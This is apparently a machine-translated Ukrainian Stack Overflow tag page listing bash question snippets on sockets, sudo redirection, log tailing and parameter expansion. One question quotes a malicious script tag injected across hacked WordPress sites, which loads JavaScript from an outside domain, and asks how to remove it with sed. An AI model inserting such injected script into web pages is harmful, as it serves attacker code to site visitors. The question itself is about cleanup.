Запитання з тегом «bash»

Для запитань щодо сценаріїв, написаних для командної оболонки Bash. Для скриптів оболонки з помилками / синтаксичними помилками, будь ласка, перевірте їх у програмі shellcheck (або на веб-сервері шелчек за адресою https://shellcheck.net) перед публікацією тут. Питання щодо інтерактивного використання Bash, швидше за все, будуть теми на Super User, ніж на переповнення стека.


4
Простий сервер Socket в Bash?
Чи є спосіб швидко прив'язатись до порту TCP / ip-адреси і просто роздрукувати всю інформацію в STDOUT? У мене є просте рішення для налагодження, яке пише речі в 127.0.0.1:4444, і я хотів би мати можливість просто прив'язати порт з bash і надрукувати все, що трапляється. Чи є простий спосіб це …
76 linux  bash  sockets  tcp 

5
Виконайте команди bash з Rakefile
Я хотів би виконати декілька bashкоманд з Rakefile. Я спробував наступне у своєму Rakefile task :hello do %{echo "World!"} end але при виконанні rake helloнемає результату? Як виконувати команди bash з Rakefile? ПРИМІТКА : Це не дублікат, оскільки він конкретно запитує, як виконувати команди bash з Rakefile .
76 ruby  bash  rake 



9
Як я можу додати текст до /etc/apt/sources.list із командного рядка?
Я новачок у Linux, і я тільки починаю вчитися bash. Я використовую Ubuntu 9.04 і хочу додати сховища до /etc/apt/sources.list із командного рядка. В основному, я хотів би зробити це: sudo echo "[some repository]" >> /etc/apt/sources.list Однак навіть коли я використовую sudo, я отримую таку помилку: bash: /etc/apt/sources.list: Permission denied …
75 bash 

5
Файл журналу скриптів Bash відображається на екрані безперервно
Я створюю програму, яка записує у файл журналу, і мені потрібно знати, як у Linux / Bash постійно відображати файл журналу на екрані (оновлюючи екран з кожним новим рядком, введеним у журнал). Отже, як приклад, скажімо, я хочу apache/error.logпостійно оновлювати запущений журнал на екран (термінал ssh).
75 linux  bash  logging 


1
Як зберігати результати команд у змінних у на сценаріїх оболонок?
Я хочу дізнатися кількість каталогів і файлів у домашньому каталозі і хочу зберегти кількість змінних у сценарії оболонки. Я використовую наступний набір команд. command="ls -l | grep -c \"rahul.*patle\"" eval $command я хочу зберегти цей підрахунок у деякому варіантному підрахунку. Як я можу це зробити.

3
Неможливо передати символ "#" як аргумент командного рядка
Я не можу передавати рядки, починаючи з #аргументів командного рядка. Ось простий тест: #include <stdio.h> int main(int argc, char *argv[]) { for (int i = 1; i < argc; i++) printf("%s ", argv[i]); putchar('\n'); return 0; } Якщо я введіть аргументи так: 2 4 # 5 6 Значення argcє 3і …

1
Чи означає 3> & 1 4> & 3 5> & 3 тощо?
Я очікував echo foo | tee /proc/self/fd/{3..6} 3>&1 до помилок, таких як / proc / self / fd / 4: Немає такого файлу чи каталогу тощо, але, на мій подив, він виводить foo foo foo foo foo Це як би 3>&1спричиняє перенаправлення всіх наступних дескрипторів на stdout, за винятком того, …

7
Як редагувати поточну команду оболонки, не виконуючи її?
Здається, є досить багато інформації про те, як редагувати та виконувати команду за допомогою свого редактора за допомогою "edit-and-Execute-command (Cx Ce)", але те, що я хотів би досягти, це взяти поточну команду shell, застосувати певну фільтрацію (за допомогою сценарію), а потім повернути її для запиту на подальше затвердження / зміни …
13 bash 

7
Як замінити цілу струну за допомогою sed або можливо grep
Таким чином, весь мій сервер зламали або виникли проблеми із шкідливим програмним забезпеченням. мій сайт базується на WordPress, а більшість сайтів, розміщених на моєму сервері, засновані на WordPress. Хакер додав цей рядок коду до кожного файлу та в базі даних <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> Я шукав його за допомогою grep, використовуючи …
10 bash  shell  sed  grep 

1
Розширення параметрів, що призводить до порожнього рядка, трактується по-різному
Оновлення Хто - то в списку розсилки помилка-Баш вже підтвердив це помилка. Якщо хтось зацікавлений, виправлення доступне в останньому зобов'язанні розробити галузь . Поки bash -c 'echo "${1##*""}"' _ bar друкує порожній рядок, bash -c 'echo "${1##*"${1##*}"}"' _ bar відбитки bar. Я цього не розумію. ${1##*}розширюється до порожнього рядка, тому …
10 bash 

2
Планувальник Synology .sh java не знайдено
У мене є bash-скрипт, єдине завдання - виконати файл jar. sms.sh java -jar /volume1/homes/jar/smssender.jar За допомогою моєї Synology NAS я створив завдання. Додавання команди для виконання скрипту bash. Додавання вихідного журналу. Виконання мого нового завдання. Перевірка журналу, щоб побачити таку помилку: /volume1/homes/jar/sms.sh: рядок 1: java: команда не знайдена Перевірка версії …
9 java  bash  synology 

Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.